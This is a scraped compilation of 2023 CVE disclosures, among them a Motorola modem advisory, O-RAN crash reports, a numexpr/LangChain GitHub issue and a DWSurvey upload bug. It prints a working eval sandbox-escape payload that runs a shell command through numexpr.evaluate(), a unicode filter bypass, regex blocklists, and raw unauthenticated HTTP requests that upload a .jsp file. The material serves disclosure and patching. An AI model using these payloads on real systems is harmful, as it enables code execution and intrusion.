A vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been declared as problematic. This vulnerability affects unknown code of the file /collection/all. The manipulation of the argument q leads to cross site scripting. The attack can be initiated remotely. VDB-238570 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVE-2023-4707

A vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been rated as critical. This issue affects some unknown processing of the file /collection/all of the component GET Parameter Handler. The manipulation of the argument tag leads to sql injection. The attack may be initiated remotely. The associated identifier of this vulnerability is VDB-238571. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVE-2023-4708

I some cases, when the device is USB-tethered to a host PC, and the device is sharing its mobile network connection with the host PC, if the user originates a call on the device, then the device's modem may reset and cause the phone call to not succeed.  This may block the user from dialing emergency services.  This patch resolves the device's modem reset issue.

  

Motorola Security Advisory: MML-2022-45675  

  
Potential Impact: Denial-of-Service

  
Severity:

CVSS 3.1 Base Score

4.9

CVSS 3.1 Temporal Score

4.6

CVSS 3.1 Vector

CVSS:3.1/AV:P/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H

  
CVE Identifier: CVE-2022-3407

Summary Description: 

  
In some cases, when the device is USB-tethered to a host PC and connected to the mobile network, and the user originates a call on the device, then the device’s modem may reset and cause the phone call to not succeed.  This may block the user from dialing emergency services.

  
Mitigation Strategy for Customers (what you should do to protect yourself):  
 

*   Update your product to a software version with an SPL of 2022-11-01 or later.  (Your phone should automatically alert you when a new security update is available, but you can also immediately check for updates under Settings...System Updates.)  
     
*   Untether the device from the host PC before making a phone call, particularly if dialing emergency services.  
     
*   Do not allow an untrusted person physical access to your device

 Product Impact:

Motorola smartphones  
 

**Was this answer helpful?**

CVE-2022-3407: Improper Resource Shutdown vulnerability in some Motorola smartphones allows denial-of-service of network services, including emergency services

An issue in O-RAN Software Community E2 G-Release allows attackers to cause a Denial of Service (DoS) by incorrectly initiating the messaging procedure between the E2Node and E2Term components.

Dear O-RAN Software Community

I'd like to report the crash related to E2Term.

Following the correct E2AP setup procedure, E2node must first send an _E2setupRequest_ to E2Term to request the establishment of a connection.

However, if E2node does not send the message according to the correct procedure, it can lead to E2Term crashing.

For example, if E2Node sends _RIC\_indication_ or _E2serviceUpdate_ right from the start without sending _E2setupRequest_ beforehand, E2Term will crash upon receiving these messages.

In other words, if the first message sent is _E2setupRequest_, then sending _RIC\_indication_ or _E2serviceUpdate_ afterward will not result in a crash.

After testing, it was found that sending _RICindications_, _RICsubscriptionRequests_, _E2service Updates_, and _E2NodeConfiguration_ updates all lead to crashes.

**Impact:**

The attacker can trigger incorrect message flows leading to E2term crashes by sending this type of packet to E2Term through E2node.

**PoC:**

The attachment includes two crash result diagrams and the packet that caused the crash. We can easily trigger the crash by sending this packet through port 36422 of E2Term.

CVE-2023-41628: [RIC-1002] Abnormal signaling process cause E2Term crash

O-RAN Software Community ric-plt-lib-rmr v4.9.0 does not validate the source of the routing tables it receives, potentially allowing attackers to send forged routing tables to the device.

Dear O-RAN Software Community

I'd like to report an issue with the RMR service not verifying the messages it receives.

We know that components using the rmr library(RMR service) rely on the routing manager to regularly send a routing table, so they can communicate with other components inside the RIC system.

However, the RMR service does not verify the source of the received routing table information, and the transmission of these routing tables is unencrypted, which means we can send forged routing tables to deceive the target service.

**Impact:**

This lack of validation allows an attacker to exploit this weakness by sending forged routing table information to any RMR service.

For example, attackers could use xApp to send forged routing tables to other RMR services and mess up communication between different components.

**PoC:**

In the attachment, I have provided an example of a route table packet that can be used to interrupt communication between various components.

You can simply change the component's message routing settings by sending it through xApp to the target component, such as e2term.

CVE-2023-41627: [RIC-1001] RMR service doesn't verify the route tables it receives

An issue in LanChain-ai Langchain v.0.0.245 allows a remote attacker to execute arbitrary code via the evaluate function in the numexpr library.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

corgeman opened this issue

Jul 7, 2023

· 35 comments

**Comments**

The evaluate() function eventually calls eval() on the data provided. eval() is extremely dangerous when supplied with user input and to my knowledge it isn't mentioned that the function does this. I would add a warning in the documentation about this. As a proof-of-concept, the following code should execute the command 'echo verybad' on your computer when ran:

import numexpr
s \= """
(lambda fc=(
    lambda n: \[
        c for c in 
            ().\_\_class\_\_.\_\_bases\_\_\[0\].\_\_subclasses\_\_() 
            if c.\_\_name\_\_ == n
        \]\[0\]
    ):
    fc("function")(
        fc("Popen")("echo verybad",shell=True),{}
    )()
)()
"""
numexpr.evaluate(s)

Yeah developers seem to be using NumExpr more and more as a parser for handling input from a UI. It would be much safer if we could use ast.parse instead. I think adding a warning to the docs is fine, but it would also make sense to me to add an optional sanitizer. We could search the string for various Python keywords that have no business being in an expression, such as:

1.  import
2.  lambda
3.  eval
4.  __ (dunder)
5.  locals
6.  globals

Sanitization could be enabled by default but give the user the means to turn it off.

Alright I implemented a check in 4b2d89c that forbids certain operators used in the expression. Namely: ;, :, [, and __. As far as I can tell this defeats all of the commonly cited attack vectors against eval(). I.e. it bans multiple expressions, lambdas, indexing, and all the dunders. If we want to be very safe, we would want to ban . as a character. However, this is difficult because . is both the reference operator and the decimal operator.

If we want to ban . we could do so if we require it to be followed by a numeral. E.g. 0.1 would pass the check, os.remove would not pass the check. However, this would ban valid Python code such as a * 5. which is a shorthand for casting to double. Perhaps there is someone out their with better regex-foo than myself and can suggest a solution for a regex that bans the Python . operator but doesn't cause issues for decimal points?

Regardless I think this is a good step forward and we're at the point where we should do a new release.

Ok, made some more improvements. I can ban attribute access to everything but .real and .imag, via

_forbidden_re = re.compile('[\;[\:]|__|\.[abcdefghjklmnopqstuvwxyzA-Z_]')

I also strip the string of all whitespace beforehand.

Closing with release of 2.8.5.

Hi @robbmcleod, just wanted to point out that you can still access other attributes because Python translates some utf chars into ascii chars automatically (mainly greek alphabet used in math), thus:

    numexpr.evaluate("(3+1).ᵇit_count()")
    

Results in:

It might be better to whitelist real and imag rather than blacklist chars.

@jan-kubena ok thanks for the heads up. The trouble here is that decimal needs to work, and numbers can appear in variable names, but not at the start. Do you happen to know where the documentation for which character sets are mangled is?

The really proper way to do it would be to back-port the ast parser work I did in for my attempt at making 3.0.

Apparently the pandas group is using dunders as private variables in some of their NumExpr calls.

pandas-dev/pandas#54449

I'm of two minds about this. I could regex against "**\[a-zA-Z0-9\_\]+**" instead of just "\_\_". But for the security conscious, it does feel to me that NumExpr shouldn't be able to access private variables in the locals and globals dictionaries.

Hi folks,

I have a simpler example which also breaks in the new version:

import pandas as pd

name \= "Mass (kg)"
df \= pd.DataFrame({name: \[200, 300, 400\]})
df.query(f"\`{name}\` < 300")

    ValueError: Expression (BACKTICK_QUOTED_STRING_Mass__LPAR_kg_RPAR_) < (300) has forbidden control characters.
    

I understand Mass (kg) is a reasonable column name, so the validation definitely needs more tuning.

Hi folks,  
I'm not sure if it is the same issue here, we are using numexpr for calculations in a pandas dataframe and we are using double underscore in some of our calculations (for instance, a__b) but now it fails in 2.8.5 (working in 2.8.4).  
I have a minimal example without involving pandas:

import numexpr
numexpr.evaluate('a\_\_b / 2', {'a\_\_b': 4})

Or a oneliner:

python -c "import numexpr; print(numexpr.evaluate('a__b / 2', {'a__b': 4}))"

In numexpr==2.8.4 that one works perfectly.  
In numexpr==2.8.5 we have the following:  
ValueError: Expression a__b / 2 has forbidden control characters.

Is it an intentional feature or something that can be workedaround easily (sending some kwarg to ignore the error)?  
We will pin our numexpr requeriments to "<2.8.5" in the meanwhile.

Many thanks!

@nicoddemus and @zorion, just waiting to hear back from Pandas' devs on the original report: pandas-dev/pandas#54449 before I do anything. I've tried in the past to establish some sort of line of communication with them and gotten crickets.

Hi, thanks for your reply.

I think we are having a legit use of dunder but it is not allowed in a breaking change from 2.8.4 to 2.8.5 so we have to fix our version to 2.8.4 (or lower) and this is an ok workaround for now.  
On the other hand, if we had a way to flag "evaluate" that we trust our input we may remove this version restriction. Is it possible to do so?

Many thanks in advance!

> @nicoddemus and @zorion, just waiting to hear back from Pandas' devs on the original report: pandas-dev/pandas#54449 before I do anything. I've tried in the past to establish some sort of line of communication with them and gotten crickets.

Hi, one of the pandas devs here.

I don't maintain the eval code (I don't think anyone still here does anymore), so not really the best person to comment on this.

Is there a way to gate this stricter checking behind an option?  
(For pandas, we have a warning in the docs saying that eval will let users run arbritary code)

Thanks,  
Thomas

@lithomas1 and company,

I see a few approaches here.

1.  We can deprecate the implementation of the __ filter for a immediate release and put it back in for a future release.
2.  We can put in an option to disable the security check. However, I do think it should default to be on.

In order to avoid forcing everyone to do an emergency release, we probably need to do both, assuming the option defaults to sanitize.

> @lithomas1 and company,
> 
> I see a few approaches here.
> 
> 1.  We can deprecate the implementation of the __ filter for a immediate release and put it back in for a future release.
> 2.  We can put in an option to disable the security check. However, I do think it should default to be on.
> 
> In order to avoid forcing everyone to do an emergency release, we probably need to do both, assuming the option defaults to sanitize.

Thanks, this sounds good to me.  
2 is probably good enough for pandas.  
(We are going to be releasing soon anyways in a couple weeks. I think users can be fine pinning numexpr for now).

It would be nice to actually fix pandas, however, I'm not too sure what the future of eval/query will be given its current "zombie"-like state.

There's actually _two_ changes in numexpr 2.8.5 that fail pandas tests - this, and a change to integer overflow behaviour (possibly a result of the negative-powers changes, but I'm not sure yet) pandas-dev/pandas#54546

@rebecca-palmer You can make a new issue if you want, but NumExpr could never cover 2**100 as that's way in excess of 64-bit integers.

@zorion, @nicoddemus, @lithomas1 I made a push in 397cc98 that should hopefully fix these issues, if you could please test?

1.  I improved the blacklisting. It should better match the funny unicode coercion that can be done for the attribute access attack.
2.  It only blocks dunders and not a single double underscore.
3.  You can disable it by calling validate(..., sanitize=False) or equivalently evaluate(..., sanitize=False).

If you have a chance please test and provide me with any feedback you may have.

Hi @robbmcleod,

Thanks for attempting a fix.

My original example now passes, but this one breaks (reduced from the actual code):

import pandas as pd

name \= "II (MM)"
df \= pd.DataFrame({name: \[200, 300, 400\]})
df.query(f"\`{name}\` >= 3.1e-05")

    ValueError: Expression (BACKTICK_QUOTED_STRING_II__LPAR_MM_RPAR_) >= (3.1e-05) has forbidden control characters.
    

The problem in this case seems to be the scientific notation, if I change 3.1e-05 to something that does not format to scientific (say 0.31) then it no longer errors out. If I use the actual number in decimal notation (0.000031) it still fails because it seems internally it formats back to scientific, because it generates the exact same message as above (with 3.1e-05):

import pandas as pd

name \= "II (MM)"
df \= pd.DataFrame({name: \[200, 300, 400\]})
df.query(f"\`{name}\` >= 0.000031")

    ValueError: Expression (BACKTICK_QUOTED_STRING_II__LPAR_MM_RPAR_) >= (3.1e-05) has forbidden control characters.
    

sanitize=False would be great for us, however we call DataFrame.query which does not have that argument yet.

@nicoddemus @robbmcleod I think changing \_attr\_pat to r'.\\b(?!(real|imag|\\d+e?)\\b)' (i.e. adding 'e?') fixes that, but I haven't actually tested it.

Perhaps a more reliable approach would be to use ast.parse, and reject the tree if we find statements, lambdas, dunder import, etc?

@robbmcleod I've added some comments in the commit - do those notify anyone when it's already on the main branch?

It needs to match [eE]?[+-]?. I.e. either 'e' or 'E' can denote scientific notation and then it can be '-' or '+' exponents. It's not a big deal, I just haven't had time to sit down and do it yet. Please be patient.

I definitely don't get notifications on commits.

@nicoddemus I did use ast.parse for the NumExpr-3.0 branch. This is not a trivial fix to backport it. NumExpr 2 has an home-brew AST.

I think that most of the comments are in 397cc98

@robbmcleod Sorry if that looked like a demand to hurry - it was not intended as such, but as a guess that comments that don't notify anyone might _never_ get seen.

Debian now has my version, but it hasn't been through their CI yet.

I'm not sure if I should create a whole new issue for this, but the changes in this commit (which made it into 2.8.5) raise DeprecationWarning: invalid escape sequence '\;' due to the usage \; here, which turns into errors in some CI setups. I left a review comment in 397cc98 to that effect, as well. I can surface this as a bug report of its own if you like.

9b380ae switched to _attr_pat = r'\.\b(?!(real|imag|[eE]?[+-]?\d+)\b)', which probably won't do what you want - I suggest _attr_pat = r'\.\b(?!(real|imag|\d+([eE][+-]?\d+)?)\b)' but I haven't tested that

(The tests don't notice because they use test values without a . (2e-5 not 2.1e-5), which never triggered this issue to begin with. We should maybe change that.)

@rebecca-palmer I don't understand, the point is to disable attribute access. Variable/member names in Python cannot start with a number. So 2.1e-5 should never match the regex because a variable cannot start with 1, for example.

@robbmcleod (?!...) means "does **not** match this", so the items inside the (?!...) (.real, .imag, and numbers with a decimal point) are allowed while other uses of . (other attribute access) are blocked.

kozalosev added a commit to kozalosev/textUtilsBot that referenced this issue

Aug 25, 2023

If no one can think of adding any more tests to this I'll prepare another release?

I'll try and test locally against Pandas as well.

This is out of topic for this issue, but related: is there a link to a discussion to the decision to introduce this check? I ask because using a regex for this seems fragile (as this issue proves), plus the rationale itself seems a bit misguided: if it uses eval behind the covers, I think it would be best to warn users of that fact instead of trying to check that nothing fancy is going on -- because no matter how much the check is well done, it might contain flaws, which will eventually will be passed on to eval, which is a security concern. Perhaps it would make more sense to just let users know that the string is passed on to eval, and the same security concerns apply here.

Ah sorry @rebecca-palmer, seem to have missed it.

I see the suggestion of adding a warning to the docs was given, and then decided to implemented a sanitizer. OK, thanks.

CVE-2023-39631: Warn that evaluate() should not be used on user input · Issue #442 · pydata/numexpr

File Upload vulnerability in DWSurvey DWSurvey-OSS v.3.2.0 and before allows a remote attacker to execute arbitrary code via the saveimage method and savveFile in the action/UploadAction.java file.

\`\`The saveimage method and saveFile in the com/key/common/base/action/UploadAction.java file can directly upload any type of file without authorization

For the saveimage method, this method can be directly called without authorization to upload any specified type of file to the /file/images/ directory, and this directory can be accessed through a browser normally, so malicious files can be uploaded for remote code execution

  
\`POST /diaowen/up/upload!saveimage.action HTTP/1.1  
Host:  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0  
Connection: close  
Content-Length: 395  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345abcde  
Accept-Encoding: gzip, deflate

\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadify"; filename="1.jsp"  
Content-Type: image/jpeg

testnixxx  
\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadifyFileName"

1.jpg  
\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadifyContentType"

image/jpeg  
\------WebKitFormBoundary12345abcde--  
\`  
  

Similarly, for the saveFile method, this method can also be directly called without authorization to upload any specified type of file to the directory specified by basepath under the /file directory, and this directory can be accessed through the browser normally, so malicious files can be uploaded file for remote code execution

  
\`POST /diaowen/up/upload!saveFile.action HTTP/1.1  
Host:  
User-Agent: Mozilla/5.0  
Connection: close  
Content-Length: 489  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345abcde  
Accept-Encoding: gzip, deflate

\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="basepath"

files  
\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadify"; filename="1.jsp"  
Content-Type: image/jpeg

testnixxx  
\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadifyFileName"

1.jpg  
\------WebKitFormBoundary12345abcde  
Content-Disposition: form-data; name="uploadifyContentType"

image/jpeg  
\------WebKitFormBoundary12345abcde--  
\`

CVE-2023-40980: Arbitrary file uploads exist · Issue #107 · wkeyuan/DWSurvey

Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-4721: Fixed #2580 · gpac/gpac@3ec93d7

Floating Point Comparison with Incorrect Operator in GitHub repository gpac/gpac prior to 2.3-DEV.

CVE-2023-4720

Integer Overflow or Wraparound in GitHub repository gpac/gpac prior to 2.3-DEV.

Expand Up

@@ -5713,7 +5713,7 @@ static GF\_Err mp4\_mux\_initialize\_movie(GF\_MP4MuxCtx \*ctx)

if (p && p\->value.lfrac.den) {

tkw\->pid\_dur \= p\->value.lfrac;

if (tkw\->pid\_dur.num<0) tkw\->pid\_dur.num \= \-tkw\->pid\_dur.num;

if (max\_dur.num \* (s64) tkw\->pid\_dur.den < (s64) max\_dur.den \* tkw\->pid\_dur.num) {

if (gf\_timestamp\_less(max\_dur.num, max\_dur.den, tkw\->pid\_dur.num, tkw\->pid\_dur.den)) {

max\_dur.num \= tkw\->pid\_dur.num;

max\_dur.den \= tkw\->pid\_dur.den;

}

Expand Down

Source

CVE